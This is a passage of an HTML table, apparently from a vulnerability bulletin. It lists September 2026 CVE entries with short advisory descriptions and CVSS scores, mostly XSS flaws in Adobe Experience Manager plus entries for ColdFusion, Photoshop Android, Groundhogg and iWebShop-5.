&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75704&quot; target=&quot;_blank&quot;&gt;CVE-2026-75704&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75705&quot; target=&quot;_blank&quot;&gt;CVE-2026-75705&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75706&quot; target=&quot;_blank&quot;&gt;CVE-2026-75706&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75707&quot; target=&quot;_blank&quot;&gt;CVE-2026-75707&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75708&quot; target=&quot;_blank&quot;&gt;CVE-2026-75708&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75709&quot; target=&quot;_blank&quot;&gt;CVE-2026-75709&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75710&quot; target=&quot;_blank&quot;&gt;CVE-2026-75710&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75711&quot; target=&quot;_blank&quot;&gt;CVE-2026-75711&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75712&quot; target=&quot;_blank&quot;&gt;CVE-2026-75712&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75713&quot; target=&quot;_blank&quot;&gt;CVE-2026-75713&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75714&quot; target=&quot;_blank&quot;&gt;CVE-2026-75714&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75715&quot; target=&quot;_blank&quot;&gt;CVE-2026-75715&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75716&quot; target=&quot;_blank&quot;&gt;CVE-2026-75716&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75717&quot; target=&quot;_blank&quot;&gt;CVE-2026-75717&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75718&quot; target=&quot;_blank&quot;&gt;CVE-2026-75718&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75719&quot; target=&quot;_blank&quot;&gt;CVE-2026-75719&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75720&quot; target=&quot;_blank&quot;&gt;CVE-2026-75720&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75722&quot; target=&quot;_blank&quot;&gt;CVE-2026-75722&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75724&quot; target=&quot;_blank&quot;&gt;CVE-2026-75724&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this issue by manipulating the DOM environment to execute malicious JavaScript within the context of the victim&#039;s browser. Exploitation of this issue requires user interaction in that a victim must visit a crafted webpage. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75725&quot; target=&quot;_blank&quot;&gt;CVE-2026-75725&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75727&quot; target=&quot;_blank&quot;&gt;CVE-2026-75727&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75729&quot; target=&quot;_blank&quot;&gt;CVE-2026-75729&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75730&quot; target=&quot;_blank&quot;&gt;CVE-2026-75730&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75731&quot; target=&quot;_blank&quot;&gt;CVE-2026-75731&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75733&quot; target=&quot;_blank&quot;&gt;CVE-2026-75733&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75734&quot; target=&quot;_blank&quot;&gt;CVE-2026-75734&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75735&quot; target=&quot;_blank&quot;&gt;CVE-2026-75735&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75736&quot; target=&quot;_blank&quot;&gt;CVE-2026-75736&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75737&quot; target=&quot;_blank&quot;&gt;CVE-2026-75737&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75738&quot; target=&quot;_blank&quot;&gt;CVE-2026-75738&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75739&quot; target=&quot;_blank&quot;&gt;CVE-2026-75739&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75740&quot; target=&quot;_blank&quot;&gt;CVE-2026-75740&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75741&quot; target=&quot;_blank&quot;&gt;CVE-2026-75741&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75742&quot; target=&quot;_blank&quot;&gt;CVE-2026-75742&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79905&quot; target=&quot;_blank&quot;&gt;CVE-2026-79905&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--ColdFusion 2025&lt;/td&gt;
&lt;td&gt;ColdFusion is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76000&quot; target=&quot;_blank&quot;&gt;CVE-2026-76000&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--ColdFusion 2025&lt;/td&gt;
&lt;td&gt;ColdFusion is affected by a reflected Cross-Site Scripting (XSS) vulnerability. If an attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim&#039;s browser. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76002&quot; target=&quot;_blank&quot;&gt;CVE-2026-76002&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Photoshop Android&lt;/td&gt;
&lt;td&gt;Photoshop Mobile is affected by an Improper Limitation of a Pathname to a Restricted Directory (&#039;Path Traversal&#039;) vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to access unauthorized files or directories outside the intended restrictions. Exploit depends on conditions beyond the attacker&#039;s control. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79904&quot; target=&quot;_blank&quot;&gt;CVE-2026-79904&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adrian Tobey--Groundhogg&lt;/td&gt;
&lt;td&gt;import_contacts Path Traversal in Groundhogg &amp;lt;= 4.7.1 versions.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85310&quot; target=&quot;_blank&quot;&gt;CVE-2026-85310&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;aircheng-org--iWebShop-5&lt;/td&gt;
&lt;td&gt;A weakness has been identified in aircheng-org iWebShop-5 up to 5.15. The affected element is the function member_list of the file controllers/member.php. This manipulation of the argument Search causes sql injection. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86667&quot; target=&quot;_blank&quot;&gt;CVE-2026-86667&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;aircheng-org--iWebShop-5&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in aircheng-org iWebShop-5 up to 5.15. The impacted element is the function uploadFile of the file controllers/pic.php. Such manipulation of the argument outerSrc/selectPhoto leads to cross site scripting. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
